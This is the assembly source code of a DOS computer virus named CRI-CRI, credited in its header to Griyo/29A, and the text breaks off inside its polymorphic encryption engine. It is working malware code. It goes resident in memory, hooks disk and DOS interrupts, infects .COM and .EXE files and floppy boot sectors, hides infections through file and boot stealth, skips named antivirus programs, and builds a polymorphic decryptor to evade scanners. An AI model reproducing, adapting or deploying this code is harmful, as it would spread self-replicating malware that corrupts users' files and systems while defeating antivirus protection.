;---------------------------------------------------------------------------;CRI-CRI ViRuS (CoDe by Griyo/29A) ;---------------------------------------------------------------------------;ResiDenT: ;WheN an inFecTed FiLe is Run thE viRus becaMes ResidEnt inTo a UMB ;memoRy bloCk (if aVaLiabLe) or in conVenTionaL memOry. Then iT ;hOOks int13h and int21h. ;InfEcTion (MulTiPartite): ;CriCri wRitEs itSeLf to The End of .Com and .Exe fiLes that aRe eXecUtEd ;or cLosEd aNd to The BooT SectOr of fLoppY diSks tHat are accEsed. During ;fiLe iNfeCtion the viRus UseS LoW LeveL SysTem fiLe tabLe and HookS ;int03h and int24h. ;CriCri doEs not inFect the fiLes thAt havE diGit or V chaRactErs in ;thEir namEs As weLL as FiLes with toDays DatE and SomE antiVirUs ;eXecuTablEs. InfEcted fiLes Have 62 seCondS in tHeir tiMe sTamp. ;SteALth (fiLe and booT LeveL): ;CriCri reTurNs cLean CopiEs oF inFected fiLes tHat are acceSed and hide ;theiR tRue siZe. The viRus alSo reTurns the OriGinaL boot sEctoR of ;fLoppy disKs tHat aRe read. The viRus disabLes his sTeaLth mechaNism ;when some comPressiOn uttiLities are beinG eXecuted. ;PoLymorPhic: ;The viRus is polymorPHic in fiLes and bOOt secToRs. GenerAted PolymorPHic ;deCrypToR conTains conDitiOnaL and AbsoluTe jumPs as WeLL as subRoutiNes ;and inteRRupt caLLs. ;---------------------------------------------------------------------------com segment para 'CODE' assume cs:com,ds:com,es:com,ss:com ;---------------------------------------------------------------------------;Virus size in bytes lenvir equ virus_copy-virus_entry ;Virus size in para para_size equ ((lenvir*02h)+0Fh)/10h ;Virus size in sectors sector_size equ ((lenvir+1FFh)/200h) ;Decryptor size in bytes decryptor equ (virus_body-virus_entry) ;Boot code size in bytes boot_size equ (boot_end-boot_code) ;---------------------------------------------------------------------------;Create .COM launcher: TASM cricri.asm TLINK /t cricri.obj org 100h ;---------------------------------------------------------------------------;Virus entry point ;---------------------------------------------------------------------------virus_entry: ;Store bp for launcher sub bp,bp ;Buffer were virus build polymorphic decryptor db 0280h dup (90h) virus_body: ;Save segment registers push ds push es ;Check if running from boot or file

mov al,byte ptr cs:[prog_type][bp] cmp al,"B" je in_boot_sector jmp go_ahead ;---------------------------------------------------------------------------;Virus working from boot sector ;---------------------------------------------------------------------------in_boot_sector: ;Reset DOS loaded flag mov byte ptr cs:[dos_flag][bp],00h ;Clear dos running switch mov byte ptr cs:[running_sw],"R" ;Get int 13h vector mov al,13h call get_int ;Save old int 13h mov word ptr cs:[old13h_off][bp],bx mov word ptr cs:[old13h_seg][bp],es ;Calculate our segment position mov ax,cs sub ax,10h mov ds,ax ;Hook int 13h mov al,13h mov dx,offset my_int13h call set_int ;Restore segment registers pop es pop ds ;Reboot system int 19h ;---------------------------------------------------------------------------;Wait until dos is loaded ;---------------------------------------------------------------------------wait_dos: ;Hook int 21h at installation check test_1: cmp ah,01h jne test_2 cmp si,00BADh jne test_2 cmp di,0FACEh je dos_installed ;Hook int 21h if we detect a write operation test_2: cmp ah,03h je dos_installed ret ;Hook int 21h to our handler dos_installed: call push_all ;Set dos loaded flag mov byte ptr cs:[dos_flag],0FFh ;Check dos version mov ah,30h int 21h cmp al,04h jb exit_wait ;Save old int 21h vector mov al,21h call get_int mov word ptr cs:[old21h_off],bx mov word ptr cs:[old21h_seg],es

;Get our segment push cs pop ds ;Point int 21h to our handler mov dx,offset my_int21h mov al,21h call set_int exit_wait: call pop_all ret ;---------------------------------------------------------------------------;Running from an executable ;---------------------------------------------------------------------------go_ahead: ;Installation check mov si,00BADh mov di,0FACEh mov ah,01h mov dl,80h int 13h jc not_installed cmp si,0DEADh jne not_installed cmp di,0BABEh jne not_installed jmp control_end not_installed: ;Check dos version mov ah,30h int 21h cmp al,04h jae check_date jmp control_end check_date: ;Get current date mov ah,2Ah int 21h ;Save today's date mov byte ptr cs:[today][bp],dl ;Activation circunstance: 4th of June cmp dh,06h jne no_activation cmp dl,04h jne no_activation jmp print_credits no_activation: ;Set dos loaded flag xor al,al dec al mov byte ptr cs:[dos_flag][bp],al ;Clear dos running switch mov byte ptr cs:[running_sw],"R" ;Save old int 13h mov al,13h call get_int mov word ptr cs:[old13h_seg][bp],es mov word ptr cs:[old13h_off][bp],bx ;Save old int 03h mov al,03h call get_int mov word ptr cs:[old03h_seg][bp],es mov word ptr cs:[old03h_off][bp],bx ;Save old int 21h

mov al,21h call get_int mov word ptr cs:[old21h_seg][bp],es mov word ptr cs:[old21h_off][bp],bx ;Redirect traced int 21h to int 03h lds dx,dword ptr cs:[old21h][bp] mov al,03h call set_int ;---------------------------------------------------------------------------;Memory allocation ;---------------------------------------------------------------------------sub di,di ;Get pointer to dos info block mov ah,52h int 03h ;Get pointer to the dos buffers structure lds si,es:[bx+12h] ;Get address of first umb mov ax,ds:[si+1Fh] cmp ax,0FFFFh je no_umbs ;Follow the chain nextumb: mov ds,ax ;Check for free umb's cmp word ptr ds:[di+01h],di jnz no_free_umb ;Check if there is enought size cmp word ptr ds:[di+03h],para_size+01h ja handle_mcb no_free_umb: ;Check if this is the last umb cmp byte ptr ds:[di+00h],"Z" je no_umbs ;Jump to next umb in the chain mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov ds,ax jmp short nextumb ;Allocate memory from last mcb no_umbs: ;Get pointer to dos info block mov ah,52h int 03h ;Get pointer to first mcb mov ax,es dec ax mov es,ax add bx,12 lds di,dword ptr es:[bx+00h] ;Follow the mcb chain nextmcb: ;Check if this is the last mcb cmp byte ptr ds:[di+00h],"Z" je ok_mcb ;Next mcb mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov ds,ax jmp short nextmcb ok_mcb:

;Check mcb size cmp word ptr ds:[di+03h],para_size+4000h ja ok_mcb_size jmp control_end ok_mcb_size: ;Sub top of memory in psp sub word ptr ds:[di+12h],para_size+01h handle_mcb: ;Sub virus size and mcb size sub word ptr ds:[di+03h],para_size+01h ;Clear the last mcb field mov byte ptr ds:[di+00h],"M" ;Jump to next mcb mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov es,ax inc ax push ax ;Mark mcb as last in the chain mov byte ptr es:[di+00h],"Z" ;Set dos as owner mov word ptr es:[di+01h],0008h ;Set mcb size mov word ptr es:[di+03h],para_size ;Mark UMB as system code mov di,0008h mov ax,"CS" cld stosw xor ax,ax stosw stosw stosw ;Copy to memory pop es mov ax,cs mov ds,ax sub di,di mov si,bp add si,0100h mov cx,lenvir cld rep movsb ;Save virus segment mov ax,es sub ax,10h mov ds,ax ;Hook int 13h mov dx,offset my_int13h mov al,13h call set_int ;Hook int 21h mov dx,offset my_int21h mov al,21h call set_int control_end: ;Restore old int 03h lds dx,dword ptr cs:[old03h][bp] mov al,03h call set_int ;Return to host cmp byte ptr cs:[prog_type][bp],"E"

je exit_exe ;---------------------------------------------------------------------------;Exit from .COM ;---------------------------------------------------------------------------exit_com: ;Restore first three bytes mov ax,cs mov es,ax mov ds,ax mov si,offset old_header add si,bp mov di,0100h mov cx,0003h cld rep movsb ;Restore segment registers pop es pop ds ;Check if launcher execution cmp bp,0000h je endprog ;Get control back to host push cs mov ax,0100h push ax call zero_all retf ;Exit program if launcher execution endprog: mov ax,4C00h int 21h ;---------------------------------------------------------------------------;Exit from .EXE ;---------------------------------------------------------------------------exit_exe: ;Restore segment registers pop es pop ds ;Get control back to host mov bx,word ptr cs:[file_buffer+16h][bp] mov ax,cs sub ax,bx mov dx,ax add ax,word ptr cs:[old_header+16h][bp] add dx,word ptr cs:[old_header+0Eh][bp] mov bx,word ptr cs:[old_header+14h][bp] mov word ptr cs:[exeret][bp],bx mov word ptr cs:[exeret+02h][bp],ax mov ax,word ptr cs:[old_header+10h][bp] mov word ptr cs:[fix1][bp],dx mov word ptr cs:[fix2][bp],ax call zero_all db 0B8h fix1: dw 0000h cli mov ss,ax db 0BCh fix2: dw 0000h sti db 0EAh exeret:

dw 0000h dw 0000h ;---------------------------------------------------------------------------;Virus int 13h handler ;---------------------------------------------------------------------------my_int13h: cmp byte ptr cs:[dos_flag],00h jne ok_dos_flag call wait_dos ok_dos_flag: call push_all ;Installation check cmp ah,01h jnz not_check cmp si,00BADh jne my13h_exit cmp di,0FACEh jne my13h_exit call pop_all mov si,0DEADh mov di,0BABEh stc cmc retf 2 not_check: ;Do not use our int 13h handler if we are using our int 21h handler cmp byte ptr cs:[running_sw],"R" jne my13h_exit ;Check for read operations cmp ah,02h jne short my13h_exit ;Side 0 of drive a: or dx,dx jnz short my13h_exit ;Track 0, sector 1 cmp cx,0001h je infect_floppy ;Get control back to old int 13h my13h_exit: call pop_all jmp dword ptr cs:[old13h] ;---------------------------------------------------------------------------;Infect floppy on drive a: ;---------------------------------------------------------------------------infect_floppy: ;Perform read operation pushf call dword ptr cs:[old13h] jnc boot_read_ok call pop_all stc retf 2 boot_read_ok: ;Check for JMP SHORT at the beginning cmp byte ptr es:[bx+00h],0EBh jne exit_disk ;Check if infected call get_position cmp word ptr es:[di+boot_marker-boot_code],"RC" jne not_infected jmp stealth_boot not_infected: ;Check for mbr marker also in floppy

cmp word ptr es:[bx+01FEh],0AA55h je floppy_infection exit_disk: call pop_all stc cmc retf 2 ;Calculate track and head for floppy floppy_infection: ;Get sectors per track mov ax,word ptr es:[bx+18h] mov cx,ax ;Cut one track for virus body sub word ptr es:[bx+13h],ax mov ax,word ptr es:[bx+13h] xor dx,dx ;Divide total sectors by sectors per track div cx xor dx,dx ;Get heads parameter mov cx,word ptr es:[bx+1Ah] push cx ;Divide tracks by heads div cx push ax xchg ah,al mov cl,06h shl al,cl or al,01h ;Save virus body position in floopy mov word ptr cs:[load_cx],ax pop ax pop cx xor dx,dx div cx mov byte ptr cs:[load_dh],dl ;Use floppy root directory for old boot sector mov cx,000Eh mov dx,0100h ;Write original boot sector mov ax,0301h pushf call dword ptr cs:[old13h] jc exit13h_inf ok_original: ;Move virus loader into boot sector push cs pop ds mov si,offset boot_code mov cx,boot_size cld rep movsb write_boot: ;Reset disk controler xor ax,ax pushf call dword ptr cs:[old13h] ;************old13h] ;Write loader mov ax,0301h xor dx,dx mov cx,0001h pushf call dword ptr cs:[old13h] ;+++++++++++old13h]

jnc ok_loader exit13h_inf: call pop_all stc cmc retf 2 ok_loader: ;Set boot flag mov byte ptr cs:[prog_type],"B" ;Perform encryption call do_encrypt push cs pop es ;Write virus body mov cx,word ptr cs:[load_cx] mov dh,byte ptr cs:[load_dh] mov bx,offset virus_copy mov ax,0300h+sector_size pushf call dword ptr cs:[old13h] ;+++++++++++++old13h] ;Hide changes made to boot sector stealth_boot: call pop_all mov cl,03h mov al,01h mov cl,0Eh mov dh,01h jmp dword ptr cs:[old13h] ;---------------------------------------------------------------------------;Code inserted into boot sector ;---------------------------------------------------------------------------boot_code: cli xor ax,ax mov ss,ax mov es,ax mov ds,ax mov si,7C00h mov sp,si sti ;Allocate some BIOS memory sub word ptr ds:[0413h],(lenvir/512)+1 mov ax,word ptr ds:[0413h] ;Calculate residence address mov cl,06h shl ax,cl mov es,ax ;Reset disk xor ax,ax int 13h ;Get position in disk ;mov cx,XXXXh db 0B9h load_cx dw 0000h ;mov dh,XXh db 0B6h load_dh db 00h ;Prepare for reading virus body try_again: mov ax,0200h+sector_size ;Read at es:bx xor bx,bx ;Read virus body into allocated memory

int 13h jc error_init ;Continue execution on virus body push es push bx retf ;Error during virus initialization error_init: int 18h ;---------------------------------------------------------------------------;Infection marker ;---------------------------------------------------------------------------boot_marker db "CR" ;End of boot code boot_end: ;---------------------------------------------------------------------------;Virus int 21h ;---------------------------------------------------------------------------my_int21h: call push_all ;Set int 21h running switch mov byte ptr cs:[running_sw],"F" ;Anti-heuristic function number examination xor ax,0FFFFh mov word ptr cs:[dos_function],ax ;Save old int 24h mov al,24h call get_int mov word ptr cs:[old24h_seg],es mov word ptr cs:[old24h_off],bx ;Hook int 24h to a do-nothing handler push cs pop ds mov dx,offset my_int24h mov al,24h call set_int ;Save old int 03h mov al,03h call get_int mov word ptr cs:[old03h_seg],es mov word ptr cs:[old03h_off],bx ;Hook int 03h to original int 21h lds dx,dword ptr cs:[old21h] mov al,03h call set_int ;Check for special files mov ah,51h ;62h? int 03h dec bx mov ds,bx mov ax,word ptr ds:[0008h] mov byte ptr cs:[stealth_sw],00h ;Check if arj is running cmp ax,"RA" je disable_stealth ;Check for pkzip utils cmp ax,"KP" je disable_stealth ;Check for lha cmp ax,"HL" je disable_stealth ;Check for backup cmp ax,"AB"

je disable_stealth jmp no_running disable_stealth: mov byte ptr cs:[stealth_sw],0FFh no_running: ;Restore and re-save all regs call pop_all call push_all ;Put function number into bx mov bx,word ptr cs:[dos_function] ;---------------------------------------------------------------------------;Infection functions ;---------------------------------------------------------------------------infection_00: ;Exec function cmp bx,(4B00h xor 0FFFFh) jne infection_01 jmp dos_exec infection_01: ;Close file (Handle) cmp bh,(3Eh xor 0FFh) jne stealth_dos jmp dos_close ;---------------------------------------------------------------------------;Stealth functions ;---------------------------------------------------------------------------stealth_dos: ;Check if stealth is disabled cmp byte ptr cs:[stealth_sw],0FFh je m21h_exit ;Open file (Handle) cmp bh,(3Dh xor 0FFh) jne stealth_00 jmp dos_open stealth_00: ;Extended open cmp bh,(6Ch xor 0FFh) jne stealth_01 jmp dos_open stealth_01: ;Directory stealth works with function Findfirst (fcb) cmp bh,(11h xor 0FFh) jne stealth_02 jmp ff_fcb stealth_02: ;Directory stealth works also with function Findnext(fcb) cmp bh,(12h xor 0FFh) jne stealth_03 jmp ff_fcb stealth_03: ;Search stealth works with Findfirst (handle) cmp bh,(4Eh xor 0FFh) jne stealth_04 jmp ff_handle stealth_04: ;Search stealth works also with Findnext (handle) cmp bh,(4Fh xor 0FFh) jne stealth_05 jmp ff_handle stealth_05: ;Read stealth cmp bh,(3Fh xor 0FFh) jne stealth_06

jmp dos_read stealth_06: ;Disinfect if debuggers exec cmp bx,(4B01h xor 0FFFFh) jne stealth_07 jmp dos_load_exec stealth_07: ;Disinfect if file write cmp bh,(40h xor 0FFh) jne stealth_08 jmp dos_write stealth_08: ;Get file date/time cmp bx,(5700h xor 0FFFFh) jne stealth_09 jmp dos_get_time stealth_09: ;Set file date/time cmp bx,(5701h xor 0FFFFh) jne m21h_exit jmp dos_set_time ;Get control back to dos m21h_exit: ;Free int 03h and int 24h call unhook_ints call pop_all jmp dword ptr cs:[old21h] ;---------------------------------------------------------------------------;Directory stealth with functions 11h and 12h (fcb) ;---------------------------------------------------------------------------ff_fcb: call pop_all ;Call DOS service int 03h ;Save all regs call push_all ;Check for errors cmp al,255 je nofound_fcb ;Get current PSP mov ah,51h int 03h ;Check if call comes from DOS mov es,bx cmp bx,es:[16h] jne nofound_fcb mov bx,dx mov al,ds:[bx+00h] push ax ;Get DTA mov ah,2Fh int 03h pop ax inc al jnz fcb_ok add bx,07h fcb_ok: ;Check if infected mov ax,word ptr es:[bx+17h] and al,1Fh cmp al,1Fh jne nofound_fcb ;Restore seconds

and byte ptr es:[bx+17h],0E0h ;Restore original file size sub word ptr es:[bx+1Dh],lenvir sbb word ptr es:[bx+1Fh],0000h nofound_fcb: ;Restore some registers and return call unhook_ints call pop_all iret ;---------------------------------------------------------------------------;Search stealth with functions 4Eh and 4Fh (handle) ;---------------------------------------------------------------------------ff_handle: call pop_all ;Call DOS service int 03h jnc ffhok call unhook_ints stc retf 2 ffhok: ;Save result call push_all ;Get DTA mov ah,2Fh int 03h ;Check if infected mov ax,word ptr es:[bx+16h] and al,1Fh cmp al,1Fh jne nofound_handle ;Restore seconds field and byte ptr es:[bx+16h],0E0h ;Restore original size sub word ptr es:[bx+1Ah],lenvir sbb word ptr es:[bx+1Ch],0000h nofound_handle: ;Restore some registers and exit call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------;Load exec ;---------------------------------------------------------------------------dos_load_exec: ;Open file for read-only mov ax,3D00h int 03h jnc loaded jmp m21h_exit loaded: xchg bx,ax jmp do_disinfect ;---------------------------------------------------------------------------;Write file ;---------------------------------------------------------------------------dos_write: call pop_all call push_all do_disinfect: ;Get sft address in es:di

call get_sft jc bad_operation ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je clear_header bad_operation: jmp load_error clear_header: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Get file true size if write operation cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) jne no_size_fix ;Add virus size to file size add word ptr es:[di+11h],lenvir adc word ptr es:[di+13h],0000h no_size_fix: ;Point to old header in file call seek_end sub word ptr es:[di+15h],0019h+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,0019h+01h mov dx,offset virus_copy int 03h jc exit_disin ;Decrypt header mov cx,0019h push dx pop si mov al,byte ptr cs:[si+19h] restore_header: xor byte ptr cs:[si+00h],al inc si loop restore_header ;Write old header call seek_begin mov dx,offset virus_copy mov ah,40h mov cx,0019h-01h int 03h ;Truncate file call seek_end sub word ptr es:[di+15h],lenvir sbb word ptr es:[di+17h],0000h xor cx,cx mov ah,40h int 03h

exit_disin: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date and file time on closing or byte ptr es:[di+06h],40h ;Clear seconds field and byte ptr es:[di+0Dh],0E0h load_error: ;Check if write function cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) je not_load ;Close file mov ah,3Eh int 03h not_load: jmp m21h_exit ;---------------------------------------------------------------------------;Get file date/time ;---------------------------------------------------------------------------dos_get_time: call pop_all ;Call function int 03h jnc ok_get_time ;Exit if error call unhook_ints stc retf 2 ok_get_time: call push_all ;Check if file is already infected mov al,cl mov ah,1Fh and al,ah cmp al,ah jne no_get_time call pop_all and cl,0E0h jmp short exit_get_time no_get_time: call pop_all exit_get_time: call unhook_ints stc cmc retf 2 ;---------------------------------------------------------------------------;Set file date/time ;---------------------------------------------------------------------------dos_set_time: call pop_all call push_all ;Get address of sft entry call get_sft jc no_set_time ;Check if file is already infected mov al,byte ptr es:[di+0Dh]

mov ah,1Fh and al,ah cmp al,ah je ok_set_time no_set_time: ;Exit if not infected or error jmp m21h_exit ok_set_time: ;Perform time change but restore our marker call pop_all or cl,1Fh call push_all jmp m21h_exit ;---------------------------------------------------------------------------;Open file ;---------------------------------------------------------------------------dos_open: ;Call dos function call pop_all int 03h jnc do_open open_fail: call unhook_ints stc retf 2 do_open: call push_all ;Get sft for file handle xchg bx,ax call get_sft jc no_changes ;Check if file is infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_changes ;If infected stealth true size sub word ptr es:[di+11h],lenvir sbb word ptr es:[di+13h],0000h no_changes: call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------;Read file ;---------------------------------------------------------------------------dos_read: ;Restore function entry regs call pop_all call push_all ;Duplicate handle mov ah,45h int 03h jc no_read_stealth xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh int 03h pop bx

;Get address of sft entry call get_sft jc no_read_stealth ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_read_stealth ;Check and save current offset in file mov ax,word ptr es:[di+15h] cmp ax,0019h jae no_read_stealth cmp word ptr es:[di+17h],0000h jne no_read_stealth mov word ptr cs:[file_offset],ax call pop_all ;Save address of read buffer mov word ptr cs:[read_off],dx mov word ptr cs:[read_seg],ds ;Perform read operation int 03h jnc check_read ;Error during file read call unhook_ints stc retf 2 no_read_stealth: ;Exit if no read stealth jmp m21h_exit check_read: call push_all call get_sft ;Save offset position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Save file size push word ptr es:[di+11h] push word ptr es:[di+13h] ;Add virus size to file size add word ptr es:[di+11h],lenvir adc word ptr es:[di+13h],0000h ;Point to old header in file call seek_end sub word ptr es:[di+15h],0019h+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,0019h+01h mov dx,offset virus_copy int 03h jc exit_read ;Decrypt header mov cx,0019h push dx pop si mov al,byte ptr cs:[si+19h] decrypt_header: xor byte ptr cs:[si+00h],al inc si loop decrypt_header

;Move old header into read buffer les di,dword ptr cs:[read_ptr] mov si,offset virus_copy mov cx,0019h-01h mov ax,word ptr cs:[file_offset] add di,ax add si,ax sub cx,ax cld rep movsb exit_read: call get_sft ;Restore file size pop word ptr es:[di+13h] pop word ptr es:[di+11h] ;Restore old offset in file pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore regs and exit call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------;Infect file at execution ds:dx ptr to filename ;---------------------------------------------------------------------------dos_exec: ;Open file for read-only mov ax,3D00h int 03h jnc ok_file_open jmp file_error ok_file_open: xchg bx,ax jmp short from_open ;---------------------------------------------------------------------------;Infect file at close ;---------------------------------------------------------------------------dos_close: call pop_all call push_all ;Duplicate handle mov ah,45h int 03h jc file_error xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh int 03h pop bx from_open: ;Get sft address in es:di call get_sft jc file_error ;Check device info word mov ax,word ptr es:[di+05h] ;Check if character device handle test al,80h jnz file_error ;Check if remote file handle test ah,0Fh

jnz file_error ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je file_error ;Do not infect files with todays date mov al,byte ptr es:[di+0Fh] and al,1Fh cmp al,byte ptr cs:[today] je file_error ;Check file name in sft mov cx,0Bh mov si,di name_loop: ;Do not infect files with numbers in their file name cmp byte ptr es:[si+20h],"0" jb file_name1 cmp byte ptr es:[si+20h],"9" jbe file_error file_name1: ;Do not infect files witch name contains v's cmp byte ptr es:[si+20h],"V" je file_error ;Do not infect files with mo in their name inc si loop name_loop ;Get first pair mov ax,word ptr es:[di+20h] ;Do not infect Thunderbyte antivirus utils cmp ax,"BT" je file_error ;Do not infect McAfee's Scan cmp ax,"CS" je file_error ;Do not infect F-Prot scanner cmp ax,"-F" je file_error ;Do not infect Solomon's Guard cmp ax,"UG" jne file_infection file_error: jmp m21h_exit file_infection: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax test al,04h jnz system_file ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] call seek_begin ;Read first 20h bytes push cs pop ds mov ah,3Fh

mov cx,0020h mov dx,offset file_buffer int 03h ;Seek to end of file and get file size call seek_end ;Do not infect too small .exe or .com files or dx,dx jnz ok_min_size cmp ax,lenvir+0410h jbe exit_inf ok_min_size: ;Check for .com extension cmp word ptr es:[di+28h],"OC" jne no_com cmp byte ptr es:[di+2Ah],"M" je inf_com no_com: ;Check for .exe mark in file header mov cx,word ptr cs:[file_buffer+00h] ;Add markers M+Z add cl,ch cmp cl,"Z"+"M" jne exit_inf ;Check for .exe extension cmp word ptr es:[di+28h],"XE" jne exit_inf cmp byte ptr es:[di+2Ah],"E" jne exit_inf jmp inf_exe ;---------------------------------------------------------------------------;Exit from file infection ;---------------------------------------------------------------------------exit_inf: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] system_file: ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date/time on closing or byte ptr es:[di+06h],40h ;Check if close function cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh) je no_close_file ;Close file mov ah,3Eh int 03h no_close_file: jmp m21h_exit ;---------------------------------------------------------------------------;Infect .COM file ;---------------------------------------------------------------------------inf_com: ;Don't infect too big .com files cmp ax,0FFFFh-(lenvir+10h) jae exit_inf ;Copy header call copy_header ;Get file length as entry point sub ax,03h

;Write a jump to virus into header mov byte ptr cs:[file_buffer+00h],0E9h mov word ptr cs:[file_buffer+01h],ax ;Set .com marker mov byte ptr cs:[prog_type],"C" ;Encrypt and infect jmp get_control ;---------------------------------------------------------------------------;Infect .EXE file ;---------------------------------------------------------------------------inf_exe: ;Don't infect Windows programs cmp word ptr cs:[file_buffer+18h],0040h jae bad_exe ;Don't infect overlays cmp word ptr cs:[file_buffer+1Ah],0000h jne bad_exe ;Check maxmem field cmp word ptr cs:[file_buffer+0Ch],0FFFFh jne bad_exe ;Save file size push ax push dx ;Page ends on 0200h boundary mov cx,0200h div cx or dx,dx jz no_round_1 inc ax no_round_1: cmp ax,word ptr cs:[file_buffer+04h] jne no_fit_size cmp dx,word ptr cs:[file_buffer+02h] je header_ok no_fit_size: pop dx pop ax bad_exe: ;Exit if cant infect .exe jmp exit_inf header_ok: call copy_header pop dx pop ax push ax push dx mov cx,10h div cx sub ax,word ptr cs:[file_buffer+08h] ;Store new entry point mov word ptr cs:[file_buffer+14h],dx mov word ptr cs:[file_buffer+16h],ax ;Store new stack position add dx,lenvir+0410h and dx,0FFFEh inc ax mov word ptr cs:[file_buffer+0Eh],ax mov word ptr cs:[file_buffer+10h],dx ;Restore size pop dx pop ax ;Add virus size to file size add ax,lenvir

adc dx,0000h ;Page ends on 0200h boundary mov cx,0200h div cx or dx,dx jz no_round_2 inc ax no_round_2: ;Store new size mov word ptr cs:[file_buffer+04h],ax mov word ptr cs:[file_buffer+02h],dx ;Set .exe marker mov byte ptr cs:[prog_type],"E" ;Encryption an infection continues on next routine ;---------------------------------------------------------------------------;Encryption and physical infection ;---------------------------------------------------------------------------get_control: call do_encrypt ;Write virus body to the end of file mov ah,40h mov cx,lenvir mov dx,offset virus_copy int 03h jc no_good_write ;Seek to beginning of file call seek_begin ;Write new header mov ah,40h mov cx,0019h-01h mov dx,offset file_buffer int 03h ;Mark file as infected or byte ptr es:[di+0Dh],1Fh no_good_write: ;Jump to infection end jmp exit_inf ;---------------------------------------------------------------------------;Encrypt virus body with variable key and generate a ;polymorphic decryptor. ;---------------------------------------------------------------------------do_encrypt: call push_all ;Initialize engine xor ax,ax mov word ptr cs:[last_subroutine],ax mov word ptr cs:[decrypt_sub],ax mov word ptr cs:[last_fill_type],ax dec ax mov word ptr cs:[last_step_type],ax mov byte ptr cs:[last_int_type],al mov byte ptr cs:[decrypt_pointer],al ;Choose counter and pointer register call get_rnd and al,01h mov byte ptr cs:[address_register],al ;Choose register for decryption instructions call get_rnd and al,38h mov byte ptr cs:[decrypt_register],al ;Chose segment registers for memory operations call get_seg_reg mov byte ptr cs:[address_seg_1],al

call get_seg_reg mov byte ptr cs:[address_seg_2],al ;Fill our buffer with garbage mov ax,cs mov ds,ax mov es,ax mov di,offset virus_copy push di mov cx,decryptor cld fill_garbage: call get_rnd stosb loop fill_garbage pop di ;Now es:di points to the buffer were engine put polymorphic code choose_type: ;Select the type of filler mov ax,(end_step_table-step_table)/2 call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_step_type] je choose_type mov word ptr cs:[last_step_type],ax add ax,ax mov bx,ax cld call word ptr cs:[step_table+bx] cmp byte ptr cs:[decrypt_pointer],05h jne choose_type ;Generate some garbage call rnd_garbage ;Generate a jump to virus body mov al,0E9h stosb mov ax,decryptor mov bx,di sub bx,offset virus_copy-02h sub ax,bx stosw ;Store random crypt value get_rnd_key: call get_rnd or al,al jz get_rnd_key xchg bx,ax mov byte ptr cs:[clave_crypt],bl ;Copy virus body to the working area while encrypt mov si,offset virus_body mov di,offset virus_copy+decryptor mov cx,lenvir-decryptor-01h cld load_crypt: lodsb xor al,bl stosb loop load_crypt ;Store key without encryption movsb ;Restore all regs and return to infection routine call pop_all ret ;-----------------------------------------------------------------------------

;Get a valid opcode for memory operations ;----------------------------------------------------------------------------get_seg_reg: cmp byte ptr cs:[prog_type],"C" je use_ds_es mov al,2Eh ret use_ds_es: call get_rnd and al,18h cmp al,10h je get_seg_reg or al,26h ret ;----------------------------------------------------------------------------;Generate next decryptor instruction ;----------------------------------------------------------------------------next_decryptor: ;Next instruction counter inc byte ptr cs:[decrypt_pointer] ;Check if there is a subroutine witch contains next decryptor instruction cmp word ptr cs:[decrypt_sub],0000h je build_now ;If so build a call instruction to that subroutine call do_call_decryptor ret build_now: ;Else get next instruction to build mov bl,byte ptr cs:[decrypt_pointer] ;Generate decryption instructions just into subroutines cmp bl,03h jne entry_from_sub ;No instruction was created so restore old pointer dec byte ptr cs:[decrypt_pointer] ret entry_from_sub: ;Entry point if calling from decryptor subroutine building xor bh,bh add bx,bx ;Build instruction call word ptr cs:[instruction_table+bx] ret ;----------------------------------------------------------------------------;Get delta offset ;----------------------------------------------------------------------------inst_get_delta: ;Decode a call to next instruction and pop bp push di mov ax,00E8h stosw mov ax,5D00h stosw ;Generate some garbage call rnd_garbage ;Decode a sub bp mov ax,0ED81h stosw ;Store address of label pop ax sub ax,offset virus_copy-0103h no_sub_psp: stosw ret

;----------------------------------------------------------------------------;Load counter register ;----------------------------------------------------------------------------inst_load_counter: mov al,0BEh add al,byte ptr cs:[address_register] stosb ;Store size of encrypted data mov ax,lenvir-decryptor-01h stosw ret ;----------------------------------------------------------------------------;Load pointer to encrypted data ;----------------------------------------------------------------------------inst_load_pointer: ;Load di as pointer mov al,0BFh sub al,byte ptr cs:[address_register] stosb ;Store offset position of encrypted data mov ax,offset virus_body stosw ;Generate garbage in some cases call rnd_garbage ;Generate add reg,bp mov ch,byte ptr cs:[address_register] mov cl,03h rol ch,cl mov ax,0FD03h sub ah,ch stosw ret ;----------------------------------------------------------------------------;Decrypt one byte from encrypted data ;----------------------------------------------------------------------------inst_decrypt_one: ;Decode a mov 